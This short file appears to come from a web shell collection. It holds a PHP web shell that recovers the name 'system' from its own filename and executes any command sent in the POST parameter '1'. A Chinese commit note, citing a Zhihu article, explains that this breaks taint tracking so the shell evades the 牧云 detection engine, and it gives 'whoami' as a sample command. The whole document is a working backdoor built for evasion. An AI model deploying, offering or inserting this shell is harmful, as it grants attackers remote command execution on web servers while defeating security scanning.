webshell/php/system2022-08-22-3.php

<?php
//bypass 牧云 文件名需要设置为system
$filename=substr(__FILE__,-10,6);
$command=$_POST[1];
$filename($command);
Create system2022-08-22-3.php from: https://zhuanlan.zhihu.com/p/550150061 __FILE__是PHP的一个魔术常量，它会返回当前执行PHP脚本的完整路径和文件名，我们利用substr()函数逆着截取，就能获得system再利用变量做函数的方式，打断了污点追踪的过程，进行命令执行，也可以成功bypass掉牧云引擎。 usage: file:xxx.php post: body==>1=whoami 2022-08-22 14:40:18 +00:00			`<?php`
			`//bypass 牧云文件名需要设置为system`
			`$filename=substr(__FILE__,-10,6);`
			`$command=$_POST[1];`
			`$filename($command);`